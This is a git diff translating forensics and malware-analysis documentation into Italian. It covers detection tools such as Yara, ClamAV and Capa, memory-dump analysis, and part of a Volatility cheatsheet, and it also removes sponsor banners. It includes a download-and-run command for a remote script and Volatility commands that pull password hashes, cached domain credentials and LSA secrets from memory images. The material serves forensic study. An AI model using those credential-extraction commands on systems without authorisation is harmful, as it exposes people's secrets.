path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Per contenuti modificati**, elenca le modifiche ignorando linee specifiche: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Per rilevare file eliminati**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Le opzioni di filtro** (`--diff-filter`) aiutano a restringere a modifiche specifiche come file aggiunti (`A`), eliminati (`D`) o modificati (`M`). +- `A`: File aggiunti +- `C`: File copiati +- `D`: File eliminati +- `M`: File modificati +- `R`: File rinominati +- `T`: Cambiamenti di tipo (ad es., file a symlink) +- `U`: File non uniti +- `X`: File sconosciuti +- `B`: File danneggiati -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Riferimenti - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..2f807b981 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Analisi del Malware {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## CheatSheets di Forense [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Servizi Online - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Strumenti Antivirus e di Rilevamento Offline ### Yara -#### Install - +#### Installa ```bash sudo apt-get install -y yara ``` +#### Preparare le regole -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Usa questo script per scaricare e unire tutte le regole yara per malware da github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Crea la directory _**rules**_ ed eseguila. Questo creerà un file chiamato _**malware_rules.yar**_ che contiene tutte le regole yara per malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Scansione ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Controlla il malware e crea regole -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Puoi utilizzare lo strumento [**YaraGen**](https://github.com/Neo23x0/yarGen) per generare regole yara da un binario. Dai un'occhiata a questi tutorial: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### Installa ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### Scansione ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** rileva potenziali **capacità** malevole in eseguibili: PE, ELF, .NET. Quindi troverà cose come tattiche Att\&ck, o capacità sospette come: -- check for OutputDebugString error -- run as a service -- create process +- controlla l'errore OutputDebugString +- esegui come servizio +- crea processo -Get it int he [**Github repo**](https://github.com/mandiant/capa). +Ottienilo nel [**Github repo**](https://github.com/mandiant/capa). ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC significa Indicatore di Compromissione. Un IOC è un insieme di **condizioni che identificano** alcuni software potenzialmente indesiderati o **malware** confermati. I Blue Teams utilizzano questo tipo di definizione per **cercare questo tipo di file malevoli** nei loro **sistemi** e **reti**.\ +Condividere queste definizioni è molto utile poiché quando il malware viene identificato in un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificare il malware più rapidamente. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Uno strumento per creare o modificare IOCs è [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Puoi utilizzare strumenti come [**Redline**](https://www.fireeye.com/services/freeware/redline.html) per **cercare IOCs definiti in un dispositivo**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) è uno scanner per Indicatori di Compromissione Semplici.\ +La rilevazione si basa su quattro metodi di rilevazione: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) è uno scanner di malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato attorno alle minacce affrontate negli ambienti di hosting condivisi. Utilizza dati sulle minacce provenienti dai sistemi di rilevamento delle intrusioni ai margini della rete per estrarre malware che viene attivamente utilizzato negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono anche derivati dalle segnalazioni degli utenti con la funzione di checkout LMD e dalle risorse della comunità malware. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Strumenti come [**rkhunter**](http://rkhunter.sourceforge.net) possono essere utilizzati per controllare il filesystem per possibili **rootkit** e malware. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) è uno strumento che cercherà di trovare stringhe offuscate all'interno di eseguibili utilizzando diverse tecniche. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper)controlla alcune informazioni di base all'interno dell'eseguibile (dati binari, entropia, URL e IP, alcune regole yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) è uno strumento che consente di ottenere informazioni sugli eseguibili di Windows come importazioni, esportazioni, intestazioni, ma controllerà anche virus total e troverà potenziali tecniche Att\&ck. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) è uno strumento per rilevare se un file è **crittografato** e anche per trovare **packers**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)è uno script Python che utilizza una varietà di **metodi statistici** per rilevare contenuti **offuscati** e **crittografati** all'interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella **rilevazione di codice web shell nascosto**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fa del suo meglio per rilevare **codice offuscato**/**sospetto** così come file che utilizzano funzioni **PHP** spesso usate in **malware**/webshell. ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +Quando controlli alcuni **campioni di malware** dovresti sempre **controllare la firma** del binario poiché il **sviluppatore** che l'ha firmato potrebbe essere già **relato** a **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` - -## Detection Techniques +## Tecniche di Rilevamento ### File Stacking -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +Se sai che una cartella contenente i **file** di un server web è stata **aggiornata l'ultima volta in una certa data**. **Controlla** la **data** in cui tutti i **file** nel **server web** sono stati creati e modificati e se qualche data è **sospetta**, controlla quel file. ### Baselines -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +Se i file di una cartella **non avrebbero dovuto essere modificati**, puoi calcolare l'**hash** dei **file originali** della cartella e **confrontarli** con quelli **correnti**. Qualsiasi modifica sarà **sospetta**. -### Statistical Analysis +### Analisi Statistica -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Quando le informazioni sono salvate nei log puoi **controllare statistiche come quante volte ogni file di un server web è stato accesso poiché una web shell potrebbe essere una delle più**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..acda87513 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# Analisi del dump di memoria {{#include ../../../banners/hacktricks-training.md}} -
+## Inizio -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Inizia a **cercare** **malware** all'interno del pcap. Usa gli **strumenti** menzionati in [**Analisi del Malware**](../malware-analysis.md). ## [Volatility](volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility è il principale framework open-source per l'analisi dei dump di memoria**. Questo strumento Python analizza i dump provenienti da fonti esterne o VM VMware, identificando dati come processi e password in base al profilo OS del dump. È estensibile con plugin, rendendolo altamente versatile per le indagini forensi. -[**Find here a cheatsheet**](volatility-cheatsheet.md) +[**Trova qui un cheatsheet**](volatility-cheatsheet.md) -## Mini dump crash report +## Rapporto di crash mini dump -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Quando il dump è piccolo (solo alcuni KB, forse qualche MB) allora è probabilmente un rapporto di crash mini dump e non un dump di memoria. ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Se hai Visual Studio installato, puoi aprire questo file e legare alcune informazioni di base come nome del processo, architettura, informazioni sull'eccezione e moduli in esecuzione: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +Puoi anche caricare l'eccezione e vedere le istruzioni decompilate ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +Comunque, Visual Studio non è il miglior strumento per eseguire un'analisi della profondità del dump. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Dovresti **aprirlo** usando **IDA** o **Radare** per ispezionarlo in **profondità**. ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..64d79d52b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,8 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) +Se hai bisogno di uno strumento che automatizzi l'analisi della memoria con diversi livelli di scansione e esegua più plugin Volatility3 in parallelo, puoi usare autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,66 +17,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +Se vuoi qualcosa **veloce e folle** che lancerà diversi plugin di Volatility in parallelo, puoi usare: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## Installazione ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} -{{#tab name="Method 2"}} - +{{#tab name="Metodo 2"}} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} -## Volatility Commands +## Comandi di Volatility -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +Accedi alla documentazione ufficiale in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### Una nota sui plugin “list” vs. “scan” -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility ha due approcci principali ai plugin, che a volte si riflettono nei loro nomi. I plugin “list” cercheranno di navigare attraverso le strutture del kernel di Windows per recuperare informazioni come i processi (localizzare e percorrere la lista collegata delle strutture `_EPROCESS` in memoria), gli handle del sistema operativo (localizzare e elencare la tabella degli handle, dereferenziare eventuali puntatori trovati, ecc.). Si comportano più o meno come farebbe l'API di Windows se richiesto di, ad esempio, elencare i processi. -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +Questo rende i plugin “list” piuttosto veloci, ma altrettanto vulnerabili alla manipolazione da parte di malware. Ad esempio, se un malware utilizza DKOM per scollegare un processo dalla lista collegata `_EPROCESS`, non apparirà nel Task Manager e nemmeno in pslist. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +I plugin “scan”, d'altra parte, adotteranno un approccio simile al carving della memoria per cose che potrebbero avere senso quando dereferenziate come strutture specifiche. `psscan`, ad esempio, leggerà la memoria e cercherà di creare oggetti `_EPROCESS` da essa (utilizza la scansione dei pool-tag, che cerca stringhe di 4 byte che indicano la presenza di una struttura di interesse). Il vantaggio è che può recuperare processi che sono terminati, e anche se il malware manomette la lista collegata `_EPROCESS`, il plugin troverà comunque la struttura presente in memoria (poiché deve ancora esistere affinché il processo funzioni). Lo svantaggio è che i plugin “scan” sono un po' più lenti dei plugin “list” e possono talvolta restituire falsi positivi (un processo che è terminato troppo tempo fa e ha avuto parti della sua struttura sovrascritte da altre operazioni). -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +Da: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## Profili OS ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +Come spiegato all'interno del readme, è necessario inserire la **tabella dei simboli del sistema operativo** che si desidera supportare all'interno di _volatility3/volatility/symbols_.\ +I pacchetti della tabella dei simboli per i vari sistemi operativi sono disponibili per **download** su: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -89,16 +75,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### Profilo Esterno +Puoi ottenere l'elenco dei profili supportati eseguendo: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +Se vuoi utilizzare un **nuovo profilo che hai scaricato** (ad esempio uno per linux) devi creare da qualche parte la seguente struttura di cartelle: _plugins/overlays/linux_ e mettere all'interno di questa cartella il file zip contenente il profilo. Poi, ottieni il numero dei profili usando: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +93,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +Puoi **scaricare i profili per Linux e Mac** da [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +Nel blocco precedente puoi vedere che il profilo si chiama `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, e puoi usarlo per eseguire qualcosa come: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### Scoprire Profilo ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **Differenze tra imageinfo e kdbgscan** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**Da qui**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): A differenza di imageinfo che fornisce semplicemente suggerimenti sul profilo, **kdbgscan** è progettato per identificare positivamente il profilo corretto e l'indirizzo KDBG corretto (se ce ne sono più di uno). Questo plugin cerca le firme KDBGHeader collegate ai profili di Volatility e applica controlli di sanità per ridurre i falsi positivi. La verbosità dell'output e il numero di controlli di sanità che possono essere eseguiti dipendono dal fatto che Volatility riesca a trovare un DTB, quindi se già conosci il profilo corretto (o se hai un suggerimento di profilo da imageinfo), assicurati di usarlo da . +Dai sempre un'occhiata al **numero di processi che kdbgscan ha trovato**. A volte imageinfo e kdbgscan possono trovare **più di un** **profilo** adatto, ma solo il **valido avrà alcuni processi correlati** (Questo perché per estrarre i processi è necessario l'indirizzo KDBG corretto) ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,89 +120,68 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. +Il **kernel debugger block**, noto come **KDBG** da Volatility, è cruciale per i compiti forensi eseguiti da Volatility e vari debugger. Identificato come `KdDebuggerDataBlock` e di tipo `_KDDEBUGGER_DATA64`, contiene riferimenti essenziali come `PsActiveProcessHead`. Questo riferimento specifico punta alla testa dell'elenco dei processi, consentendo l'elenco di tutti i processi, fondamentale per un'analisi approfondita della memoria. ## OS Information - ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +Il plugin `banners.Banners` può essere utilizzato in **vol3 per cercare banner linux** nel dump. -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## Hash/Password -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +Estrai gli hash SAM, [credenziali memorizzate nella cache del dominio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) e [segreti lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## Dump di Memoria +Il dump di memoria di un processo **estrarrà tutto** lo stato attuale del processo. Il modulo **procdump** **estrarrà** solo il **codice**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## Processi -​ +### Elenca i processi -
- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +Cerca di trovare processi **sospetti** (per nome) o **inattesi** processi **figli** (ad esempio un cmd.exe come figlio di iexplorer.exe).\ +Potrebbe essere interessante **confrontare** il risultato di pslist con quello di psscan per identificare processi nascosti. {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} @@ -233,144 +189,120 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### Linea di comando -Anything suspicious was executed? +È stato eseguito qualcosa di sospetto? {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline 